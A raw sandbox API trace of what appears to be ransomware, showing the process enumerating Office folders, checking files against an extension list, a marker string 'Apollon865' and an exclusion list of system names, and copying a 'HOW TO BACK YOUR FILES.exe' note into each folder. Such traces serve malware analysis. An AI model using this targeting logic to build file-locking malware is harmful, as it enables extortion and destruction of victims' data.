	[0072.778] lstrcmpiW (lpString1="otx", lpString2="adp") returned 1
	[0072.778] lstrlenW (lpString="alf") returned 3
	[0072.778] lstrcmpiW (lpString1="otx", lpString2="alf") returned 1
	[0072.778] lstrlenW (lpString="ask") returned 3
	[0072.778] lstrcmpiW (lpString1="otx", lpString2="ask") returned 1
	[0072.778] lstrlenW (lpString="btr") returned 3
	[0072.778] lstrcmpiW (lpString1="otx", lpString2="btr") returned 1
	[0072.778] lstrlenW (lpString="cat") returned 3
	[0072.778] lstrcmpiW (lpString1="otx", lpString2="cat") returned 1
	[0072.778] lstrlenW (lpString="cdb") returned 3
	[0072.778] lstrcmpiW (lpString1="otx", lpString2="cdb") returned 1
	[0072.778] lstrlenW (lpString="ckp") returned 3
	[0072.778] lstrcmpiW (lpString1="otx", lpString2="ckp") returned 1
	[0072.778] lstrlenW (lpString="cma") returned 3
	[0072.778] lstrcmpiW (lpString1="otx", lpString2="cma") returned 1
	[0072.779] lstrlenW (lpString="cpd") returned 3
	[0072.779] lstrcmpiW (lpString1="otx", lpString2="cpd") returned 1
	[0072.779] lstrlenW (lpString="dacpac") returned 6
	[0072.779] lstrcmpiW (lpString1="c.dotx", lpString2="dacpac") returned -1
	[0072.779] lstrlenW (lpString="dad") returned 3
	[0072.779] lstrcmpiW (lpString1="otx", lpString2="dad") returned 1
	[0072.779] lstrlenW (lpString="dadiagrams") returned 10
	[0072.779] lstrcmpiW (lpString1="assic.dotx", lpString2="dadiagrams") returned -1
	[0072.779] lstrlenW (lpString="daschema") returned 8
	[0072.779] lstrcmpiW (lpString1="sic.dotx", lpString2="daschema") returned 1
	[0072.779] lstrlenW (lpString="db-journal") returned 10
	[0072.779] lstrcmpiW (lpString1="assic.dotx", lpString2="db-journal") returned -1
	[0072.779] lstrlenW (lpString="db-shm") returned 6
	[0072.779] lstrcmpiW (lpString1="c.dotx", lpString2="db-shm") returned -1
	[0072.779] lstrlenW (lpString="db-wal") returned 6
	[0072.779] lstrcmpiW (lpString1="c.dotx", lpString2="db-wal") returned -1
	[0072.779] lstrlenW (lpString="dbc") returned 3
	[0072.779] lstrcmpiW (lpString1="otx", lpString2="dbc") returned 1
	[0072.779] lstrlenW (lpString="dbs") returned 3
	[0072.779] lstrcmpiW (lpString1="otx", lpString2="dbs") returned 1
	[0072.779] lstrlenW (lpString="dbt") returned 3
	[0072.779] lstrcmpiW (lpString1="otx", lpString2="dbt") returned 1
	[0072.779] lstrlenW (lpString="dbv") returned 3
	[0072.779] lstrcmpiW (lpString1="otx", lpString2="dbv") returned 1
	[0072.779] lstrlenW (lpString="dbx") returned 3
	[0072.779] lstrcmpiW (lpString1="otx", lpString2="dbx") returned 1
	[0072.779] lstrlenW (lpString="dcb") returned 3
	[0072.779] lstrcmpiW (lpString1="otx", lpString2="dcb") returned 1
	[0072.780] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="Default.dotx" | out: lpString1="Default.dotx") returned="Default.dotx"
	[0072.780] lstrlenW (lpString="Default.dotx") returned 12
	[0072.780] lstrlenW (lpString="Apollon865") returned 10
	[0072.780] lstrcmpiW (lpString1="fault.dotx", lpString2="Apollon865") returned 1
	[0072.780] lstrlenW (lpString=".dll") returned 4
	[0072.780] lstrcmpiW (lpString1="Default.dotx", lpString2=".dll") returned 1
	[0072.780] lstrlenW (lpString=".lnk") returned 4
	[0072.780] lstrcmpiW (lpString1="Default.dotx", lpString2=".lnk") returned 1
	[0072.780] lstrlenW (lpString=".ini") returned 4
	[0072.780] lstrcmpiW (lpString1="Default.dotx", lpString2=".ini") returned 1
	[0072.780] lstrlenW (lpString=".sys") returned 4
	[0072.780] lstrcmpiW (lpString1="Default.dotx", lpString2=".sys") returned 1
	[0072.780] lstrlenW (lpString="Default.dotx") returned 12
	[0072.780] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="DefaultBlackAndWhite.dotx" | out: lpString1="DefaultBlackAndWhite.dotx") returned="DefaultBlackAndWhite.dotx"
	[0072.780] lstrlenW (lpString="DefaultBlackAndWhite.dotx") returned 25
	[0072.780] lstrlenW (lpString="Apollon865") returned 10
	[0072.780] lstrcmpiW (lpString1="White.dotx", lpString2="Apollon865") returned 1
	[0072.780] lstrlenW (lpString=".dll") returned 4
	[0072.780] lstrcmpiW (lpString1="DefaultBlackAndWhite.dotx", lpString2=".dll") returned 1
	[0072.780] lstrlenW (lpString=".lnk") returned 4
	[0072.780] lstrcmpiW (lpString1="DefaultBlackAndWhite.dotx", lpString2=".lnk") returned 1
	[0072.780] lstrlenW (lpString=".ini") returned 4
	[0072.780] lstrcmpiW (lpString1="DefaultBlackAndWhite.dotx", lpString2=".ini") returned 1
	[0072.780] lstrlenW (lpString=".sys") returned 4
	[0072.780] lstrcmpiW (lpString1="DefaultBlackAndWhite.dotx", lpString2=".sys") returned 1
	[0072.780] lstrlenW (lpString="DefaultBlackAndWhite.dotx") returned 25
	[0072.780] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="Distinctive.dotx" | out: lpString1="Distinctive.dotx") returned="Distinctive.dotx"
	[0072.780] lstrlenW (lpString="Distinctive.dotx") returned 16
	[0072.780] lstrlenW (lpString="Apollon865") returned 10
	[0072.780] lstrcmpiW (lpString1="ctive.dotx", lpString2="Apollon865") returned 1
	[0072.781] lstrlenW (lpString=".dll") returned 4
	[0072.781] lstrcmpiW (lpString1="Distinctive.dotx", lpString2=".dll") returned 1
	[0072.781] lstrlenW (lpString=".lnk") returned 4
	[0072.781] lstrcmpiW (lpString1="Distinctive.dotx", lpString2=".lnk") returned 1
	[0072.781] lstrlenW (lpString=".ini") returned 4
	[0072.781] lstrcmpiW (lpString1="Distinctive.dotx", lpString2=".ini") returned 1
	[0072.781] lstrlenW (lpString=".sys") returned 4
	[0072.781] lstrcmpiW (lpString1="Distinctive.dotx", lpString2=".sys") returned 1
	[0072.781] lstrlenW (lpString="Distinctive.dotx") returned 16
	[0072.781] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="Elegant.dotx" | out: lpString1="Elegant.dotx") returned="Elegant.dotx"
	[0072.781] lstrlenW (lpString="Elegant.dotx") returned 12
	[0072.781] lstrlenW (lpString="Apollon865") returned 10
	[0072.781] lstrcmpiW (lpString1="egant.dotx", lpString2="Apollon865") returned 1
	[0072.781] lstrlenW (lpString=".dll") returned 4
	[0072.781] lstrcmpiW (lpString1="Elegant.dotx", lpString2=".dll") returned 1
	[0072.781] lstrlenW (lpString=".lnk") returned 4
	[0072.781] lstrcmpiW (lpString1="Elegant.dotx", lpString2=".lnk") returned 1
	[0072.781] lstrlenW (lpString=".ini") returned 4
	[0072.781] lstrcmpiW (lpString1="Elegant.dotx", lpString2=".ini") returned 1
	[0072.781] lstrlenW (lpString=".sys") returned 4
	[0072.781] lstrcmpiW (lpString1="Elegant.dotx", lpString2=".sys") returned 1
	[0072.781] lstrlenW (lpString="Elegant.dotx") returned 12
	[0072.781] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="Fancy.dotx" | out: lpString1="Fancy.dotx") returned="Fancy.dotx"
	[0072.781] lstrlenW (lpString="Fancy.dotx") returned 10
	[0072.781] lstrlenW (lpString="Apollon865") returned 10
	[0072.781] lstrlenW (lpString=".dll") returned 4
	[0072.781] lstrcmpiW (lpString1="Fancy.dotx", lpString2=".dll") returned 1
	[0072.781] lstrlenW (lpString=".lnk") returned 4
	[0072.781] lstrcmpiW (lpString1="Fancy.dotx", lpString2=".lnk") returned 1
	[0072.781] lstrlenW (lpString=".ini") returned 4
	[0072.781] lstrcmpiW (lpString1="Fancy.dotx", lpString2=".ini") returned 1
	[0072.782] lstrlenW (lpString=".sys") returned 4
	[0072.782] lstrcmpiW (lpString1="Fancy.dotx", lpString2=".sys") returned 1
	[0072.782] lstrlenW (lpString="Fancy.dotx") returned 10
	[0072.782] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="Formal.dotx" | out: lpString1="Formal.dotx") returned="Formal.dotx"
	[0072.782] lstrlenW (lpString="Formal.dotx") returned 11
	[0072.782] lstrlenW (lpString="Apollon865") returned 10
	[0072.782] lstrcmpiW (lpString1="ormal.dotx", lpString2="Apollon865") returned 1
	[0072.782] lstrlenW (lpString=".dll") returned 4
	[0072.782] lstrcmpiW (lpString1="Formal.dotx", lpString2=".dll") returned 1
	[0072.782] lstrlenW (lpString=".lnk") returned 4
	[0072.782] lstrcmpiW (lpString1="Formal.dotx", lpString2=".lnk") returned 1
	[0072.782] lstrlenW (lpString=".ini") returned 4
	[0072.782] lstrcmpiW (lpString1="Formal.dotx", lpString2=".ini") returned 1
	[0072.782] lstrlenW (lpString=".sys") returned 4
	[0072.782] lstrcmpiW (lpString1="Formal.dotx", lpString2=".sys") returned 1
	[0072.782] lstrlenW (lpString="Formal.dotx") returned 11
	[0072.782] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="Manuscript.dotx" | out: lpString1="Manuscript.dotx") returned="Manuscript.dotx"
	[0072.782] lstrlenW (lpString="Manuscript.dotx") returned 15
	[0072.782] lstrlenW (lpString="Apollon865") returned 10
	[0072.782] lstrcmpiW (lpString1="cript.dotx", lpString2="Apollon865") returned 1
	[0072.782] lstrlenW (lpString=".dll") returned 4
	[0072.782] lstrcmpiW (lpString1="Manuscript.dotx", lpString2=".dll") returned 1
	[0072.782] lstrlenW (lpString=".lnk") returned 4
	[0072.782] lstrcmpiW (lpString1="Manuscript.dotx", lpString2=".lnk") returned 1
	[0072.782] lstrlenW (lpString=".ini") returned 4
	[0072.782] lstrcmpiW (lpString1="Manuscript.dotx", lpString2=".ini") returned 1
	[0072.782] lstrlenW (lpString=".sys") returned 4
	[0072.782] lstrcmpiW (lpString1="Manuscript.dotx", lpString2=".sys") returned 1
	[0072.782] lstrlenW (lpString="Manuscript.dotx") returned 15
	[0072.782] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="Modern.dotx" | out: lpString1="Modern.dotx") returned="Modern.dotx"
	[0072.783] lstrlenW (lpString="Modern.dotx") returned 11
	[0072.783] lstrlenW (lpString="Apollon865") returned 10
	[0072.783] lstrcmpiW (lpString1="odern.dotx", lpString2="Apollon865") returned 1
	[0072.783] lstrlenW (lpString=".dll") returned 4
	[0072.783] lstrcmpiW (lpString1="Modern.dotx", lpString2=".dll") returned 1
	[0072.783] lstrlenW (lpString=".lnk") returned 4
	[0072.783] lstrcmpiW (lpString1="Modern.dotx", lpString2=".lnk") returned 1
	[0072.783] lstrlenW (lpString=".ini") returned 4
	[0072.783] lstrcmpiW (lpString1="Modern.dotx", lpString2=".ini") returned 1
	[0072.783] lstrlenW (lpString=".sys") returned 4
	[0072.783] lstrcmpiW (lpString1="Modern.dotx", lpString2=".sys") returned 1
	[0072.783] lstrlenW (lpString="Modern.dotx") returned 11
	[0072.783] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="Newsprint.dotx" | out: lpString1="Newsprint.dotx") returned="Newsprint.dotx"
	[0072.783] lstrlenW (lpString="Newsprint.dotx") returned 14
	[0072.783] lstrlenW (lpString="Apollon865") returned 10
	[0072.783] lstrcmpiW (lpString1="print.dotx", lpString2="Apollon865") returned 1
	[0072.783] lstrlenW (lpString=".dll") returned 4
	[0072.783] lstrcmpiW (lpString1="Newsprint.dotx", lpString2=".dll") returned 1
	[0072.783] lstrlenW (lpString=".lnk") returned 4
	[0072.783] lstrcmpiW (lpString1="Newsprint.dotx", lpString2=".lnk") returned 1
	[0072.783] lstrlenW (lpString=".ini") returned 4
	[0072.783] lstrcmpiW (lpString1="Newsprint.dotx", lpString2=".ini") returned 1
	[0072.783] lstrlenW (lpString=".sys") returned 4
	[0072.783] lstrcmpiW (lpString1="Newsprint.dotx", lpString2=".sys") returned 1
	[0072.783] lstrlenW (lpString="Newsprint.dotx") returned 14
	[0072.783] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="Perspective.dotx" | out: lpString1="Perspective.dotx") returned="Perspective.dotx"
	[0072.783] lstrlenW (lpString="Perspective.dotx") returned 16
	[0072.783] lstrlenW (lpString="Apollon865") returned 10
	[0072.783] lstrcmpiW (lpString1="ctive.dotx", lpString2="Apollon865") returned 1
	[0072.783] lstrlenW (lpString=".dll") returned 4
	[0072.783] lstrcmpiW (lpString1="Perspective.dotx", lpString2=".dll") returned 1
	[0072.784] lstrlenW (lpString=".lnk") returned 4
	[0072.784] lstrcmpiW (lpString1="Perspective.dotx", lpString2=".lnk") returned 1
	[0072.784] lstrlenW (lpString=".ini") returned 4
	[0072.784] lstrcmpiW (lpString1="Perspective.dotx", lpString2=".ini") returned 1
	[0072.784] lstrlenW (lpString=".sys") returned 4
	[0072.784] lstrcmpiW (lpString1="Perspective.dotx", lpString2=".sys") returned 1
	[0072.784] lstrlenW (lpString="Perspective.dotx") returned 16
	[0072.784] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="Simple.dotx" | out: lpString1="Simple.dotx") returned="Simple.dotx"
	[0072.784] lstrlenW (lpString="Simple.dotx") returned 11
	[0072.784] lstrlenW (lpString="Apollon865") returned 10
	[0072.784] lstrcmpiW (lpString1="imple.dotx", lpString2="Apollon865") returned 1
	[0072.784] lstrlenW (lpString=".dll") returned 4
	[0072.784] lstrcmpiW (lpString1="Simple.dotx", lpString2=".dll") returned 1
	[0072.784] lstrlenW (lpString=".lnk") returned 4
	[0072.784] lstrcmpiW (lpString1="Simple.dotx", lpString2=".lnk") returned 1
	[0072.784] lstrlenW (lpString=".ini") returned 4
	[0072.784] lstrcmpiW (lpString1="Simple.dotx", lpString2=".ini") returned 1
	[0072.784] lstrlenW (lpString=".sys") returned 4
	[0072.784] lstrcmpiW (lpString1="Simple.dotx", lpString2=".sys") returned 1
	[0072.784] lstrlenW (lpString="Simple.dotx") returned 11
	[0072.784] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="Thatch.dotx" | out: lpString1="Thatch.dotx") returned="Thatch.dotx"
	[0072.784] lstrlenW (lpString="Thatch.dotx") returned 11
	[0072.784] lstrlenW (lpString="Apollon865") returned 10
	[0072.784] lstrcmpiW (lpString1="hatch.dotx", lpString2="Apollon865") returned 1
	[0072.784] lstrlenW (lpString=".dll") returned 4
	[0072.784] lstrcmpiW (lpString1="Thatch.dotx", lpString2=".dll") returned 1
	[0072.784] lstrlenW (lpString=".lnk") returned 4
	[0072.784] lstrcmpiW (lpString1="Thatch.dotx", lpString2=".lnk") returned 1
	[0072.784] lstrlenW (lpString=".ini") returned 4
	[0072.784] lstrcmpiW (lpString1="Thatch.dotx", lpString2=".ini") returned 1
	[0072.784] lstrlenW (lpString=".sys") returned 4
	[0072.784] lstrcmpiW (lpString1="Thatch.dotx", lpString2=".sys") returned 1
	[0072.785] lstrlenW (lpString="Thatch.dotx") returned 11
	[0072.785] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="Traditional.dotx" | out: lpString1="Traditional.dotx") returned="Traditional.dotx"
	[0072.785] lstrlenW (lpString="Traditional.dotx") returned 16
	[0072.785] lstrlenW (lpString="Apollon865") returned 10
	[0072.785] lstrcmpiW (lpString1="ional.dotx", lpString2="Apollon865") returned 1
	[0072.785] lstrlenW (lpString=".dll") returned 4
	[0072.785] lstrcmpiW (lpString1="Traditional.dotx", lpString2=".dll") returned 1
	[0072.785] lstrlenW (lpString=".lnk") returned 4
	[0072.785] lstrcmpiW (lpString1="Traditional.dotx", lpString2=".lnk") returned 1
	[0072.785] lstrlenW (lpString=".ini") returned 4
	[0072.785] lstrcmpiW (lpString1="Traditional.dotx", lpString2=".ini") returned 1
	[0072.785] lstrlenW (lpString=".sys") returned 4
	[0072.785] lstrcmpiW (lpString1="Traditional.dotx", lpString2=".sys") returned 1
	[0072.785] lstrlenW (lpString="Traditional.dotx") returned 16
	[0072.785] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR"
	[0072.785] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591440 | out: hHeap=0x580000) returned 1
	[0072.785] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0072.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR") returned 56
	[0072.785] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR"
	[0072.785] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0072.785] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0072.794] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0072.794] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x43746250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x43746250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0072.794] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.794] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0072.794] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0072.794] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x43746250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x43746250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0072.795] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.795] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0072.795] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0072.795] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0072.795] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43746250, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x43746250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0072.795] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0072.795] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x182b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PAPERS.INI", cAlternateFileName="")) returned 1
	[0072.795] lstrcmpiW (lpString1="PAPERS.INI", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0072.795] lstrcmpiW (lpString1="PAPERS.INI", lpString2="Apollon865.txt.exe") returned 1
	[0072.795] lstrcmpiW (lpString1="PAPERS.INI", lpString2=".") returned 1
	[0072.795] lstrcmpiW (lpString1="PAPERS.INI", lpString2="..") returned 1
	[0072.795] lstrcmpiW (lpString1="PAPERS.INI", lpString2="windows") returned -1
	[0072.795] lstrcmpiW (lpString1="PAPERS.INI", lpString2="bootmgr") returned 1
	[0072.795] lstrcmpiW (lpString1="PAPERS.INI", lpString2="temp") returned -1
	[0072.795] lstrcmpiW (lpString1="PAPERS.INI", lpString2="pagefile.sys") returned 1
	[0072.795] lstrcmpiW (lpString1="PAPERS.INI", lpString2="boot") returned 1
	[0072.795] lstrcmpiW (lpString1="PAPERS.INI", lpString2="ids.txt") returned 1
	[0072.795] lstrcmpiW (lpString1="PAPERS.INI", lpString2="ntuser.dat") returned 1
	[0072.795] lstrcmpiW (lpString1="PAPERS.INI", lpString2="perflogs") returned -1
	[0072.795] lstrcmpiW (lpString1="PAPERS.INI", lpString2="MSBuild") returned 1
	[0072.795] lstrlenW (lpString="PAPERS.INI") returned 10
	[0072.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\*") returned 58
	[0072.796] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PAPERS.INI" | out: lpString1="PAPERS.INI") returned="PAPERS.INI"
	[0072.796] lstrlenW (lpString="PAPERS.INI") returned 10
	[0072.796] lstrlenW (lpString="Apollon865") returned 10
	[0072.796] lstrlenW (lpString=".dll") returned 4
	[0072.796] lstrcmpiW (lpString1="PAPERS.INI", lpString2=".dll") returned 1
	[0072.796] lstrlenW (lpString=".lnk") returned 4
	[0072.796] lstrcmpiW (lpString1="PAPERS.INI", lpString2=".lnk") returned 1
	[0072.796] lstrlenW (lpString=".ini") returned 4
	[0072.796] lstrcmpiW (lpString1="PAPERS.INI", lpString2=".ini") returned 1
	[0072.796] lstrlenW (lpString=".sys") returned 4
	[0072.796] lstrcmpiW (lpString1="PAPERS.INI", lpString2=".sys") returned 1
	[0072.796] lstrlenW (lpString="PAPERS.INI") returned 10
	[0072.796] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR10F.GIF" | out: lpString1="PDIR10F.GIF") returned="PDIR10F.GIF"
	[0072.796] lstrlenW (lpString="PDIR10F.GIF") returned 11
	[0072.796] lstrlenW (lpString="Apollon865") returned 10
	[0072.796] lstrcmpiW (lpString1="DIR10F.GIF", lpString2="Apollon865") returned 1
	[0072.796] lstrlenW (lpString=".dll") returned 4
	[0072.796] lstrcmpiW (lpString1="PDIR10F.GIF", lpString2=".dll") returned 1
	[0072.796] lstrlenW (lpString=".lnk") returned 4
	[0072.796] lstrcmpiW (lpString1="PDIR10F.GIF", lpString2=".lnk") returned 1
	[0072.796] lstrlenW (lpString=".ini") returned 4
	[0072.796] lstrcmpiW (lpString1="PDIR10F.GIF", lpString2=".ini") returned 1
	[0072.796] lstrlenW (lpString=".sys") returned 4
	[0072.796] lstrcmpiW (lpString1="PDIR10F.GIF", lpString2=".sys") returned 1
	[0072.796] lstrlenW (lpString="PDIR10F.GIF") returned 11
	[0072.796] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR11F.GIF" | out: lpString1="PDIR11F.GIF") returned="PDIR11F.GIF"
	[0072.797] lstrlenW (lpString="PDIR11F.GIF") returned 11
	[0072.797] lstrlenW (lpString="Apollon865") returned 10
	[0072.797] lstrcmpiW (lpString1="DIR11F.GIF", lpString2="Apollon865") returned 1
	[0072.797] lstrlenW (lpString=".dll") returned 4
	[0072.797] lstrcmpiW (lpString1="PDIR11F.GIF", lpString2=".dll") returned 1
	[0072.797] lstrlenW (lpString=".lnk") returned 4
	[0072.797] lstrcmpiW (lpString1="PDIR11F.GIF", lpString2=".lnk") returned 1
	[0072.797] lstrlenW (lpString=".ini") returned 4
	[0072.797] lstrcmpiW (lpString1="PDIR11F.GIF", lpString2=".ini") returned 1
	[0072.797] lstrlenW (lpString=".sys") returned 4
	[0072.797] lstrcmpiW (lpString1="PDIR11F.GIF", lpString2=".sys") returned 1
	[0072.797] lstrlenW (lpString="PDIR11F.GIF") returned 11
	[0072.797] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR12F.GIF" | out: lpString1="PDIR12F.GIF") returned="PDIR12F.GIF"
	[0072.797] lstrlenW (lpString="PDIR12F.GIF") returned 11
	[0072.797] lstrlenW (lpString="Apollon865") returned 10
	[0072.797] lstrcmpiW (lpString1="DIR12F.GIF", lpString2="Apollon865") returned 1
	[0072.797] lstrlenW (lpString=".dll") returned 4
	[0072.797] lstrcmpiW (lpString1="PDIR12F.GIF", lpString2=".dll") returned 1
	[0072.797] lstrlenW (lpString=".lnk") returned 4
	[0072.797] lstrcmpiW (lpString1="PDIR12F.GIF", lpString2=".lnk") returned 1
	[0072.797] lstrlenW (lpString=".ini") returned 4
	[0072.797] lstrcmpiW (lpString1="PDIR12F.GIF", lpString2=".ini") returned 1
	[0072.797] lstrlenW (lpString=".sys") returned 4
	[0072.797] lstrcmpiW (lpString1="PDIR12F.GIF", lpString2=".sys") returned 1
	[0072.797] lstrlenW (lpString="PDIR12F.GIF") returned 11
	[0072.797] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR13F.GIF" | out: lpString1="PDIR13F.GIF") returned="PDIR13F.GIF"
	[0072.797] lstrlenW (lpString="PDIR13F.GIF") returned 11
	[0072.797] lstrlenW (lpString="Apollon865") returned 10
	[0072.797] lstrcmpiW (lpString1="DIR13F.GIF", lpString2="Apollon865") returned 1
	[0072.797] lstrlenW (lpString=".dll") returned 4
	[0072.797] lstrcmpiW (lpString1="PDIR13F.GIF", lpString2=".dll") returned 1
	[0072.798] lstrlenW (lpString=".lnk") returned 4
	[0072.798] lstrcmpiW (lpString1="PDIR13F.GIF", lpString2=".lnk") returned 1
	[0072.798] lstrlenW (lpString=".ini") returned 4
	[0072.798] lstrcmpiW (lpString1="PDIR13F.GIF", lpString2=".ini") returned 1
	[0072.798] lstrlenW (lpString=".sys") returned 4
	[0072.798] lstrcmpiW (lpString1="PDIR13F.GIF", lpString2=".sys") returned 1
	[0072.798] lstrlenW (lpString="PDIR13F.GIF") returned 11
	[0072.798] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR14F.GIF" | out: lpString1="PDIR14F.GIF") returned="PDIR14F.GIF"
	[0072.798] lstrlenW (lpString="PDIR14F.GIF") returned 11
	[0072.798] lstrlenW (lpString="Apollon865") returned 10
	[0072.798] lstrcmpiW (lpString1="DIR14F.GIF", lpString2="Apollon865") returned 1
	[0072.798] lstrlenW (lpString=".dll") returned 4
	[0072.798] lstrcmpiW (lpString1="PDIR14F.GIF", lpString2=".dll") returned 1
	[0072.798] lstrlenW (lpString=".lnk") returned 4
	[0072.798] lstrcmpiW (lpString1="PDIR14F.GIF", lpString2=".lnk") returned 1
	[0072.798] lstrlenW (lpString=".ini") returned 4
	[0072.798] lstrcmpiW (lpString1="PDIR14F.GIF", lpString2=".ini") returned 1
	[0072.798] lstrlenW (lpString=".sys") returned 4
	[0072.798] lstrcmpiW (lpString1="PDIR14F.GIF", lpString2=".sys") returned 1
	[0072.798] lstrlenW (lpString="PDIR14F.GIF") returned 11
	[0072.798] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR15F.GIF" | out: lpString1="PDIR15F.GIF") returned="PDIR15F.GIF"
	[0072.798] lstrlenW (lpString="PDIR15F.GIF") returned 11
	[0072.798] lstrlenW (lpString="Apollon865") returned 10
	[0072.798] lstrcmpiW (lpString1="DIR15F.GIF", lpString2="Apollon865") returned 1
	[0072.798] lstrlenW (lpString=".dll") returned 4
	[0072.798] lstrcmpiW (lpString1="PDIR15F.GIF", lpString2=".dll") returned 1
	[0072.798] lstrlenW (lpString=".lnk") returned 4
	[0072.798] lstrcmpiW (lpString1="PDIR15F.GIF", lpString2=".lnk") returned 1
	[0072.798] lstrlenW (lpString=".ini") returned 4
	[0072.798] lstrcmpiW (lpString1="PDIR15F.GIF", lpString2=".ini") returned 1
	[0072.798] lstrlenW (lpString=".sys") returned 4
	[0072.798] lstrcmpiW (lpString1="PDIR15F.GIF", lpString2=".sys") returned 1
	[0072.799] lstrlenW (lpString="PDIR15F.GIF") returned 11
	[0072.799] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR16F.GIF" | out: lpString1="PDIR16F.GIF") returned="PDIR16F.GIF"
	[0072.799] lstrlenW (lpString="PDIR16F.GIF") returned 11
	[0072.799] lstrlenW (lpString="Apollon865") returned 10
	[0072.799] lstrcmpiW (lpString1="DIR16F.GIF", lpString2="Apollon865") returned 1
	[0072.799] lstrlenW (lpString=".dll") returned 4
